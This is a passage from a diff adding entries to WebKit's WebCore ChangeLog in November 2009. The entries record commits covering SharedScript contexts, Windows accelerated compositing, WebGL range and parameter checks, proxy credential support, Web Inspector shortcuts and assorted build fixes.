+        No new tests since there are no bindings yet (soon to come).
+
+        * DerivedSources.make: Add WebKitSharedScript and SharedScriptContext to a list of idl files.
+        * WebCore.xcodeproj/project.pbxproj:
+        * dom/Document.cpp:
+        (WebCore::Document::detach): Notify WebKitSharedScriptRepository that document is detaching.
+        * dom/EventTarget.cpp: Add new casting methods, since the new types are EventTargets.
+        (WebCore::EventTarget::toWebKitSharedScript):
+        (WebCore::EventTarget::toSharedScriptContext):
+        * dom/EventTarget.h: Ditto
+        * dom/ScriptExecutionContext.h:
+        (WebCore::ScriptExecutionContext::isSharedScriptContext): New virtual method, since there is a new type of context.
+
+        * SharedScript/SharedScriptContext.cpp: Added. Similar to WorkerContext, but w/o threading.
+        (WebCore::SharedScriptContext::SharedScriptContext):
+        (WebCore::SharedScriptContext::~SharedScriptContext):
+        (WebCore::SharedScriptContext::clearScript):
+        (WebCore::SharedScriptContext::virtualURL):
+        (WebCore::SharedScriptContext::virtualCompleteURL):
+        (WebCore::SharedScriptContext::reportException):
+        (WebCore::SharedScriptContext::addMessage):
+        (WebCore::SharedScriptContext::resourceRetrievedByXMLHttpRequest):
+        (WebCore::SharedScriptContext::scriptImported):
+        (WebCore::SharedScriptContext::matches):
+        (WebCore::SharedScriptContext::addToDocumentsList):
+        (WebCore::SharedScriptContext::destructionTimerFired):
+        (WebCore::SharedScriptContext::removeFromDocumentList):
+        (WebCore::SharedScriptContext::load):
+        (WebCore::SharedScriptContext::postTask):
+        (WebCore::SharedScriptContext::eventTargetData):
+        (WebCore::SharedScriptContext::ensureEventTargetData):
+        (WebCore::SharedScriptContext::scriptExecutionContext):
+        * SharedScript/SharedScriptContext.h: Added.
+        (WebCore::SharedScriptContext::create):
+        (WebCore::SharedScriptContext::isSharedScriptContext):
+        (WebCore::SharedScriptContext::userAgent):
+        (WebCore::SharedScriptContext::toSharedScriptContext):
+        (WebCore::SharedScriptContext::self):
+        (WebCore::SharedScriptContext::script):
+        (WebCore::SharedScriptContext::loaded):
+        (WebCore::SharedScriptContext::name):
+        (WebCore::SharedScriptContext::refEventTarget):
+        (WebCore::SharedScriptContext::derefEventTarget):
+        (WebCore::SharedScriptContext::refScriptExecutionContext):
+        (WebCore::SharedScriptContext::derefScriptExecutionContext):
+        * SharedScript/SharedScriptContext.idl: Added.
+
+        * SharedScript/SharedScriptController.h: 
+        Added. Empty implementation of a ScriptController, will come later as part of bindings. Needed to compile.
+
+        * SharedScript/WebKitSharedScript.cpp: Added. EventTarget-based DOM object.
+        (WebCore::WebKitSharedScript::WebKitSharedScript):
+        (WebCore::WebKitSharedScript::~WebKitSharedScript):
+        (WebCore::WebKitSharedScript::setContext):
+        (WebCore::LoadEventTask::create): Fires asynchronous 'load' event when underlying SharedScriptContext is initialized.
+        (WebCore::LoadEventTask::performTask):
+        (WebCore::LoadEventTask::LoadEventTask):
+        (WebCore::WebKitSharedScript::scheduleLoadEvent):
+        * SharedScript/WebKitSharedScript.h: Added.
+        (WebCore::WebKitSharedScript::create):
+        (WebCore::WebKitSharedScript::scriptExecutionContext):
+        (WebCore::WebKitSharedScript::toWebKitSharedScript):
+        (WebCore::WebKitSharedScript::context):
+        (WebCore::WebKitSharedScript::refEventTarget):
+        (WebCore::WebKitSharedScript::derefEventTarget):
+        (WebCore::WebKitSharedScript::eventTargetData):
+        (WebCore::WebKitSharedScript::ensureEventTargetData):
+        * SharedScript/WebKitSharedScript.idl: Added.
+
+        * SharedScript/WebKitSharedScriptRepository.cpp: Added. Implements a list of running SharedScriptContexts.
+        (WebCore::ScriptLoader::ScriptLoader): The helper class to load an initial script of SharedScriptContext.
+        (WebCore::ScriptLoader::load):
+        (WebCore::ScriptLoader::notifyFinished):
+        (WebCore::WebKitSharedScriptRepository::instance): Repository has a static global instance.
+        (WebCore::WebKitSharedScriptRepository::connect):
+        (WebCore::WebKitSharedScriptRepository::documentDetached): Called from Document::detach().
+        (WebCore::WebKitSharedScriptRepository::removeSharedScriptContext): Called from ~SharedScriptContext().
+        (WebCore::WebKitSharedScriptRepository::connectToSharedScript):
+        (WebCore::WebKitSharedScriptRepository::getSharedScriptContext):
+        * SharedScript/WebKitSharedScriptRepository.h: Added.
+        (WebCore::WebKitSharedScriptRepository::WebKitSharedScriptRepository):
+
+2009-11-24  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add ENABLE_SHARED_SCRIPT feature define and flag for build-webkit
+        https://bugs.webkit.org/show_bug.cgi?id=31444
+
+        * Configurations/FeatureDefines.xcconfig:
+        * GNUmakefile.am:
+        * WebCore.pro:
+
+2009-11-24  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Implement accelerated compositing
+        https://bugs.webkit.org/show_bug.cgi?id=27314
+        
+        This part of the checkin adds the Windows specific GraphicsLayer support files.
+        It provides the interface between GraphicsLayer and CACF. It also deals with
+        the compositing loop, and provides the plumbing to pass the root layer up to
+        WebView.
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::syncCompositingStateRecursive):
+        * platform/graphics/GraphicsLayer.cpp:
+        (WebCore::GraphicsLayer::GraphicsLayer):
+        * platform/graphics/GraphicsLayer.h:
+        * platform/graphics/win/GraphicsLayerCACF.cpp: Added.
+        * platform/graphics/win/GraphicsLayerCACF.h: Added.
+        * platform/graphics/win/WKCACFContextFlusher.cpp: Added.
+        * platform/graphics/win/WKCACFContextFlusher.h: Added.
+        * platform/graphics/win/WKCACFContextFlusherWin.cpp: Added.
+        * platform/graphics/win/WKCACFLayer.cpp: Added.
+        * platform/graphics/win/WKCACFLayer.h: Added.
+        * platform/graphics/win/WKCACFLayerWindow.cpp: Added.
+        * platform/graphics/win/WKCACFLayerWindow.h: Added.
+
+2009-11-24  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Do error checking of parameter to createShader
+        https://bugs.webkit.org/show_bug.cgi?id=31808
+
+        Test: fast/canvas/webgl/invalidPassedParams.html
+
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::createShader):
+        * html/canvas/WebGLRenderingContext.h:
+        * html/canvas/WebGLRenderingContext.idl:
+
+2009-11-24  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [Chromium] Ignore line-height CSS property specified to a search field on
+        Windows and Linux.
+        https://bugs.webkit.org/show_bug.cgi?id=31820
+
+        LayoutTests/fast/forms/control-restrict-line-height.html checks that the
+        following controls should ignore line-height CSS property.
+         - <select>
+         - <input type=button>
+         - <input type=search>
+        This change addresses the <input type=search> issue with Chromium/Windows
+        and Chromium/Linux.
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldStyle): Implement this to ignore line-height.
+        * rendering/RenderThemeChromiumSkia.h: Declare adjustSearchFieldStyle().
+
+2009-11-24  Simon Fraser  <simon.fraser@apple.com>
+
+        No review.
+
+        Stylistic fix: indent the member var initialisation.
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::GraphicsLayerCA):
+
+2009-11-24  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Bug 31848 - Remove uses of mainThreadCurrentWorld, and of currentWorld using a globalData.
+
+        These methods get the world from the global data rather than from an execstate.
+        If the current world is always read from an exec state then it can be read
+        from the global object, and world entry can become automagical, rather than
+        being explicitly set by an EnterDOMWrapperWorld.
+
+        * bindings/js/JSCSSRuleCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSCSSValueCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::currentWorld):
+        (WebCore::DOMObjectWrapperMapFor):
+        (WebCore::hasCachedDOMObjectWrapper):
+        (WebCore::getCachedDOMObjectWrapper):
+        (WebCore::cacheDOMObjectWrapper):
+        (WebCore::hasCachedDOMNodeWrapper):
+        (WebCore::getCachedDOMNodeWrapper):
+        (WebCore::cacheDOMNodeWrapper):
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::createDOMObjectWrapper):
+        (WebCore::getDOMObjectWrapper):
+        (WebCore::createDOMNodeWrapper):
+        (WebCore::getDOMNodeWrapper):
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::history):
+        (WebCore::JSDOMWindow::location):
+        * bindings/js/JSDocumentCustom.cpp:
+        (WebCore::JSDocument::location):
+        (WebCore::toJS):
+        * bindings/js/JSElementCustom.cpp:
+        (WebCore::toJSNewlyCreated):
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSHTMLCollectionCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSImageDataCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::markChildren):
+        (WebCore::createWrapper):
+        (WebCore::toJS):
+        * bindings/js/JSSVGPathSegCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSStyleSheetCustom.cpp:
+        (WebCore::toJS):
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::dropProtection):
+
+2009-11-24  Alexey Proskuryakov  <ap@apple.com>
+
+        Windows build fix.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp: Also, don't include the wrong one!
+
+2009-11-24  Alexey Proskuryakov  <ap@apple.com>
+
+        Windows build fix.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp: Include the proper WKSI header.
+
+2009-11-24  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        SVGUseElement::toClipPath can crash
+        <rdar://problem/7385270>
+
+        Null-test m_shadowTreeRootElement again, because the call to buildPendingResource() may not
+        actually initialize it.
+
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::toClipPath):
+
+2009-11-24  Simon Fraser  <simon.fraser@apple.com>
+
+        Windows build fix.
+
+        * page/win/FrameCGWin.cpp:
+        (WebCore::imageFromRect):
+        (WebCore::imageFromSelection):
+
+2009-11-24  Eric Carlson  <eric.carlson@apple.com>
+
+        Not reviewed. Revert r51351 until a new WebKitSupportLibrary is available.
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
+        * platform/graphics/win/QTMovieWin.cpp:
+        * platform/graphics/win/QTMovieWin.h:
+        * rendering/RenderMediaControls.cpp:
+        * rendering/RenderThemeWin.cpp:
+        * rendering/RenderThemeWin.h:
+
+2009-11-24  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31844
+        SocketStreamHandleCFNet should support CONNECT proxy credentials
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * platform/network/CredentialStorage.h:
+        * platform/network/mac/CredentialStorageMac.mm: Added.
+        (WebCore::CredentialStorage::getFromPersistentStorage):
+        * platform/network/cf/CredentialStorageCFNet.cpp: Added.
+        (WebCore::CredentialStorage::getFromPersistentStorage):
+        Add support for fetching credentials from persistent storage (CFNet version is currently
+        a stub).
+
+        * bindings/js/JSWebSocketCustom.cpp: Removed an unneeded include.
+
+        * platform/network/cf/SocketStreamHandle.h:
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+        (WebCore::SocketStreamHandle::SocketStreamHandle):
+        (WebCore::SocketStreamHandle::createStreams):
+        (WebCore::getStoredCONNECTProxyCredentials):
+        (WebCore::authenticationSchemeFromAuthenticationMethod):
+        (WebCore::SocketStreamHandle::addCONNECTCredentials):
+        (WebCore::SocketStreamHandle::readStreamCallback):
+        Check if connection attempt was resulted in 407, and try stored credentials if it did.
+
+        * platform/mac/WebCoreSystemInterface.h:
+        * platform/mac/WebCoreSystemInterface.mm:
+        * WebCore.base.exp:
+        Updated WKSI.
+
+2009-11-24  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Find highlight is drawn incorrectly on pages with compositing layers
+        <rdar://problem/7413925>
+        
+        Part 2: Add a new bit to the PaintBehavior flags, PaintBehaviorFlattenCompositingLayers,
+        and pass that down when painting into an image.
+        
+        When set, it forces painting of compositing layers to go down a software paint path
+        when all layers are painted, irrespective of compositing status, and where
+        3d transforms are flattened to 2d. When doing this, we also need to use temporary
+        clip rects for layers which are normally composited.
+        
+        * page/FrameView.h:
+        (WebCore::FrameView::paintBehavior):
+        * page/mac/FrameMac.mm:
+        (WebCore::Frame::imageFromRect):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::renderableTransform):
+        (WebCore::expandClipRectForDescendantsAndReflection):
+        (WebCore::transparencyClipBox):
+        (WebCore::RenderLayer::beginTransparencyLayers):
+        (WebCore::RenderLayer::paintLayer):
+        * rendering/RenderLayer.h:
+        (WebCore::RenderLayer::paintsWithTransparency):
+        (WebCore::RenderLayer::paintsWithTransform):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
+        * rendering/RenderObject.h:
+
+2009-11-24  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Find highlight is drawn incorrectly on pages with compositing layers
+        <rdar://problem/7413925>
+        
+        Part 1: Rename PaintRestriction to PaintBehavior, and make it a bitmask, in
+        preparation for adding a new flag related to painting into an image.
+        
+        PaintBehaviorSelectionOnly and PaintBehaviorForceBlackText are now separate flags.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::reset):
+        (WebCore::FrameView::paintContents):
+        (WebCore::FrameView::setPaintBehavior):
+        * page/FrameView.h:
+        * page/mac/FrameMac.mm:
+        (WebCore::Frame::selectionImage):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::paint):
+        (WebCore::RenderLayer::paintLayer):
+        * rendering/RenderLayer.h:
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::paintIntoLayer):
+        (WebCore::RenderLayerBacking::paintContents):
+        * rendering/RenderLayerBacking.h:
+        * rendering/RenderObject.h:
+        * rendering/RenderReplica.cpp:
+        (WebCore::RenderReplica::paint):
+
+2009-11-24  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7409331> Windows: Support closed caption in <video> element
+
+        Enable closed captions in QuickTime/Windows media engine.
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::hasClosedCaptions):
+        (WebCore::MediaPlayerPrivate::setClosedCaptionsVisible):
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
+        * platform/graphics/win/QTMovieWin.cpp:
+        (QTMovieWin::hasClosedCaptions):
+        (QTMovieWin::setClosedCaptionsVisible):
+        * platform/graphics/win/QTMovieWin.h:
+        * rendering/RenderMediaControls.cpp:
+        (WebCore::RenderMediaControls::paintMediaControlsPart):
+        * rendering/RenderThemeWin.cpp:
+        (WebCore::RenderThemeWin::paintMediaToggleClosedCaptionsButton):
+        * rendering/RenderThemeWin.h:
+
+2009-11-24  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [Chromium] Renderer hang when using www.expedia.com
+        https://bugs.webkit.org/show_bug.cgi?id=31822
+
+        Test: http/tests/cache/subresource-failover-to-network.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadResourceSynchronously): Use the originalRequest
+        when inheriting cache policy.  This matches SubresourceLoader::create.
+
+2009-11-23  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Oliver Hunt.
+
+        Change get... calls to latest spec
+        https://bugs.webkit.org/show_bug.cgi?id=30091
+
+        Removed old versions of get calls on WebGLRenderingContext and
+        added new ones per spec returning "any". New code simplifies
+        GraphicsContext3D and fixes previously unimplemented routines.
+        Added custom JS and V8 bindings. Added exhaustive test case
+        exercising all new code paths. Updated preexisting test cases for
+        new APIs. Fixed preexisting bugs in WebKit's and Chrome's WebGL
+        implementations.
+
+        Ran WebGL layout tests in WebKit (clean) and Chrome (couple of
+        preexisting known failures) and manual WebGL tests in both
+        browsers.
+
+        Test: fast/canvas/webgl/gl-object-get-calls.html
+
+        * WebCore.gypi:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSWebGLRenderingContextCustom.cpp:
+        (WebCore::toJS):
+        (WebCore::):
+        (WebCore::getObjectParameter):
+        (WebCore::getProgramParameterHelper):
+        (WebCore::JSWebGLRenderingContext::getBufferParameter):
+        (WebCore::JSWebGLRenderingContext::getFramebufferAttachmentParameter):
+        (WebCore::JSWebGLRenderingContext::getParameter):
+        (WebCore::JSWebGLRenderingContext::getProgramParameter):
+        (WebCore::JSWebGLRenderingContext::getRenderbufferParameter):
+        (WebCore::JSWebGLRenderingContext::getShaderParameter):
+        (WebCore::JSWebGLRenderingContext::getTexParameter):
+        (WebCore::JSWebGLRenderingContext::getUniform):
+        (WebCore::JSWebGLRenderingContext::getVertexAttrib):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        (WebCore::toV8):
+        (WebCore::):
+        (WebCore::getObjectParameter):
+        (WebCore::getProgramParameter):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * html/canvas/CanvasObject.cpp:
+        (WebCore::CanvasObject::CanvasObject):
+        (WebCore::CanvasObject::setObject):
+        (WebCore::CanvasObject::deleteObject):
+        * html/canvas/CanvasObject.h:
+        * html/canvas/WebGLBuffer.cpp:
+        (WebCore::WebGLBuffer::create):
+        (WebCore::WebGLBuffer::WebGLBuffer):
+        * html/canvas/WebGLBuffer.h:
+        * html/canvas/WebGLGetInfo.cpp: Added.
+        (WebCore::WebGLGetInfo::WebGLGetInfo):
+        (WebCore::WebGLGetInfo::~WebGLGetInfo):
+        (WebCore::WebGLGetInfo::getType):
+        (WebCore::WebGLGetInfo::getBool):
+        (WebCore::WebGLGetInfo::getFloat):
+        (WebCore::WebGLGetInfo::getLong):
+        (WebCore::WebGLGetInfo::getString):
+        (WebCore::WebGLGetInfo::getUnsignedLong):
+        (WebCore::WebGLGetInfo::getWebGLBuffer):
+        (WebCore::WebGLGetInfo::getWebGLFloatArray):
+        (WebCore::WebGLGetInfo::getWebGLFramebuffer):
+        (WebCore::WebGLGetInfo::getWebGLIntArray):
+        (WebCore::WebGLGetInfo::getWebGLProgram):
+        (WebCore::WebGLGetInfo::getWebGLRenderbuffer):
+        (WebCore::WebGLGetInfo::getWebGLTexture):
+        (WebCore::WebGLGetInfo::getWebGLUnsignedByteArray):
+        * html/canvas/WebGLGetInfo.h: Added.
+        (WebCore::WebGLGetInfo::):
+        * html/canvas/WebGLRenderbuffer.cpp:
+        (WebCore::WebGLRenderbuffer::create):
+        (WebCore::WebGLRenderbuffer::WebGLRenderbuffer):
+        * html/canvas/WebGLRenderbuffer.h:
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLStateRestorer::WebGLStateRestorer):
+        (WebCore::WebGLStateRestorer::~WebGLStateRestorer):
+        (WebCore::WebGLRenderingContext::WebGLRenderingContext):
+        (WebCore::WebGLRenderingContext::activeTexture):
+        (WebCore::WebGLRenderingContext::bindBuffer):
+        (WebCore::WebGLRenderingContext::bindFramebuffer):
+        (WebCore::WebGLRenderingContext::bindRenderbuffer):
+        (WebCore::WebGLRenderingContext::bindTexture):
+        (WebCore::WebGLRenderingContext::getBufferParameter):
+        (WebCore::WebGLRenderingContext::getFramebufferAttachmentParameter):
+        (WebCore::WebGLRenderingContext::getParameter):
+        (WebCore::WebGLRenderingContext::getProgramParameter):
+        (WebCore::WebGLRenderingContext::getProgramInfoLog):
+        (WebCore::WebGLRenderingContext::getRenderbufferParameter):
+        (WebCore::WebGLRenderingContext::getShaderParameter):
+        (WebCore::WebGLRenderingContext::getShaderInfoLog):
+        (WebCore::WebGLRenderingContext::getShaderSource):
+        (WebCore::WebGLRenderingContext::getString):
+        (WebCore::WebGLRenderingContext::getTexParameter):
+        (WebCore::WebGLRenderingContext::getUniform):
+        (WebCore::WebGLRenderingContext::getVertexAttrib):
+        (WebCore::WebGLRenderingContext::useProgram):
+        (WebCore::WebGLRenderingContext::getBooleanParameter):
+        (WebCore::WebGLRenderingContext::getFloatParameter):
+        (WebCore::WebGLRenderingContext::getIntParameter):
+        (WebCore::WebGLRenderingContext::getLongParameter):
+        (WebCore::WebGLRenderingContext::getUnsignedLongParameter):
+        (WebCore::WebGLRenderingContext::getWebGLFloatArrayParameter):
+        (WebCore::WebGLRenderingContext::getWebGLIntArrayParameter):
+        (WebCore::WebGLRenderingContext::getWebGLUnsignedByteArrayParameter):
+        * html/canvas/WebGLRenderingContext.h:
+        * html/canvas/WebGLRenderingContext.idl:
+        * html/canvas/WebGLTexture.cpp:
+        (WebCore::WebGLTexture::create):
+        (WebCore::WebGLTexture::WebGLTexture):
+        * html/canvas/WebGLTexture.h:
+        * manual-tests/webgl/resources/utils3d.js:
+        (initWebGL):
+        (loadShader):
+        (Framerate.prototype.snapshot):
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::bindRenderbuffer):
+        (WebCore::GraphicsContext3D::getBooleanv):
+        (WebCore::GraphicsContext3D::getBufferParameteriv):
+        (WebCore::GraphicsContext3D::getFloatv):
+        (WebCore::GraphicsContext3D::getFramebufferAttachmentParameteriv):
+        (WebCore::GraphicsContext3D::getIntegerv):
+        (WebCore::GraphicsContext3D::getProgramiv):
+        (WebCore::GraphicsContext3D::getRenderbufferParameteriv):
+        (WebCore::GraphicsContext3D::getShaderiv):
+        (WebCore::GraphicsContext3D::getTexParameterfv):
+        (WebCore::GraphicsContext3D::getTexParameteriv):
+        (WebCore::GraphicsContext3D::getUniformfv):
+        (WebCore::GraphicsContext3D::getUniformiv):
+        (WebCore::GraphicsContext3D::getVertexAttribfv):
+        (WebCore::GraphicsContext3D::getVertexAttribiv):
+
+2009-11-24  Steve Falkenburg  <sfalken@apple.com>
+
+        Windows build fix.
+
+        * WebCore.vcproj/QTMovieWin.vcproj: Add additional search path for QuickTime SDK.
+
+2009-11-24  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [Gtk] GStreamer-CRITICAL's (and other warnings) on <video>
+        https://bugs.webkit.org/show_bug.cgi?id=26354
+
+        Implemented MediaPlayerPrivate::isAvailable by checking the
+        presence of the playbin2 GStreamer element.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::isAvailable):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2009-11-24  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25415
+        [GTK][ATK] Please implement support for get_text_at_offset
+
+        When building up the pango layout from text boxes, only append a
+        newline char after verifying there are no more boxes on this line.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (getPangoLayoutForAtk):
+
+2009-11-24  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: Keyboard Shortcut to Clear Console Messages
+        https://bugs.webkit.org/show_bug.cgi?id=31780
+
+        All Platforms:  Ctrl+L  = Clear Console Messages
+        Mac Only:       Cmd+K   = Clear Console Messages
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView): create shortcuts
+        (WebInspector.ConsoleView.prototype._promptKeyDown): handle shortcuts
+        * inspector/front-end/KeyboardShortcut.js:
+        (WebInspector.KeyboardShortcut.makeKey): convenience conversion of "a-z" character to keyCode
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel): style fixes for keyboard shortcuts
+
+2009-11-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed: touch inspector controller in order to
+        kick win bot inspector deploy. rs=aroben.
+
+        * inspector/InspectorController.cpp:
+
+2009-11-23  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Implement expandable compartments on timeline panel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31796
+
+        * inspector/front-end/TimelineOverviewPane.js:
+        (WebInspector.TimelineOverviewPane.prototype._setWindowPosition):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype.addRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype._innerAddRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelinePanel.prototype._refreshRecords):
+        (WebInspector.TimelinePanel.prototype._addToRecordsWindow):
+        (WebInspector.TimelineRecordListRow):
+        (WebInspector.TimelineRecordListRow.prototype.update):
+        (WebInspector.TimelineRecordListRow.prototype.dispose):
+        (WebInspector.TimelineRecordGraphRow):
+        (WebInspector.TimelineRecordGraphRow.prototype.update):
+        (WebInspector.TimelineRecordGraphRow.prototype._onClick):
+        (WebInspector.TimelineRecordGraphRow.prototype.dispose):
+        * inspector/front-end/inspector.css:
+
+2009-11-24  Mark Rowe  <mrowe@apple.com>
+
+        Fix production builds where the source tree may be read-only.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-11-23  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Include "config.h" to meet Coding Style Guidelines
+        https://bugs.webkit.org/show_bug.cgi?id=31792
+
+        No new tests as there is no new functionality.
+
+        * platform/graphics/win/IntPointWin.cpp:
+        * platform/graphics/win/IntRectWin.cpp:
+        * platform/graphics/win/IntSizeWin.cpp:
+        * platform/network/chromium/ResourceRequest.cpp:
+        * platform/win/PlatformMouseEventWin.cpp:
+
+2009-11-23  Jian Li  <jianli@chromium.org>
+
+        Reviewed by NOBODY (Chromium build fix).
+
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * platform/graphics/GraphicsContext3D.h:
+
+2009-11-23  Aaron Golden  <agolden@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Prevent ResourceHandleMac's version of ResourceHandle::receivedCredential from stripping
+        identity and certificate information from a WebCore::Credential when receivedCredential
+        needs to modify the credential's persistence.
+
+        Adding a new constructor Credential(const Credential& original, CredentialPersistence)
+        that copies every field from original except for persistence.
+
+        * platform/network/Credential.cpp:
+        (WebCore::Credential::Credential):
+        * platform/network/Credential.h:
+        * platform/network/mac/ResourceHandleMac.mm:
+        (WebCore::ResourceHandle::receivedCredential):
+
+2009-11-23  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Part 2/3 of <rdar://problem/7377477> REGRESSION: Many web pages fail to render after interesting script runs in isolated world
+
+        Some clients of the JavaScriptCore API expect to be able to make callbacks over the JSC API,
+        and for this to automagically cause execution to take place in the world associated with the
+        global object associated with the ExecState (JSContextRef) passed.  However this is not how
+        things work - the world must be explicitly set within WebCore.
+
+        Making this work just for API calls to evaluate & call will be a far from perfect solution,
+        since direct (non-API) use of JSC still relies on WebCore setting the current world correctly.
+        A better solution would be to make this all work automagically all throughout WebCore, but this
+        will require more refactoring.
+
+        Add references from the JSDOMWindowShell and the JSDOMGlobalObject to the world that owns them,
+        so that we can get to the world from the lexical global object of an ExecState.  In the long-term
+        we should switch over to using this approach for all cases we want to get a world from an exec state.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::WebCoreJSClientData::beginningExecution):
+        (WebCore::WebCoreJSClientData::completedExecution):
+        * bindings/js/JSDOMBinding.h:
+        * bindings/js/JSDOMGlobalObject.h:
+        (WebCore::JSDOMGlobalObject::world):
+        (WebCore::JSDOMGlobalObject::JSDOMGlobalObjectData::JSDOMGlobalObjectData):
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::JSDOMWindowBaseData::JSDOMWindowBaseData):
+        * bindings/js/JSDOMWindowBase.h:
+        * bindings/js/JSDOMWindowShell.cpp:
+        (WebCore::JSDOMWindowShell::JSDOMWindowShell):
+        * bindings/js/JSDOMWindowShell.h:
+        (WebCore::JSDOMWindowShell::world):
+        * bindings/js/JSWorkerContextBase.cpp:
+        (WebCore::JSWorkerContextBase::JSWorkerContextBase):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::initScript):
+
+2009-11-23  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Add range checks to rendering calls in WebGL
+        https://bugs.webkit.org/show_bug.cgi?id=31239
+
+        I am now tracking the size of the data in each CanvasBuffer object
+        and keeping track of the buffer size of each active vertex attrib.
+        In drawArrays and drawElements I make sure no attempt is made to
+        access elements outside the valid buffer ranges. The test at:
+
+            http://cs.helsinki.fi/u/ilmarihe/c3d/functions/drawArraysOutOfBounds.html
+
+        no longer crashes.
+
+        I also added all the WebGL enumerations to GraphicsContext3D to use them in the validation checks
+
+        Tests: fast/canvas/webgl/drawArraysOutOfBounds.html
+               fast/canvas/webgl/drawElementssOutOfBounds.html
+
+        * bindings/js/JSWebGLArrayCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSWebGLRenderingContextCustom.cpp:
+        (WebCore::JSWebGLRenderingContext::bufferData):
+        (WebCore::JSWebGLRenderingContext::bufferSubData):
+        (WebCore::JSWebGLRenderingContext::texSubImage2D):
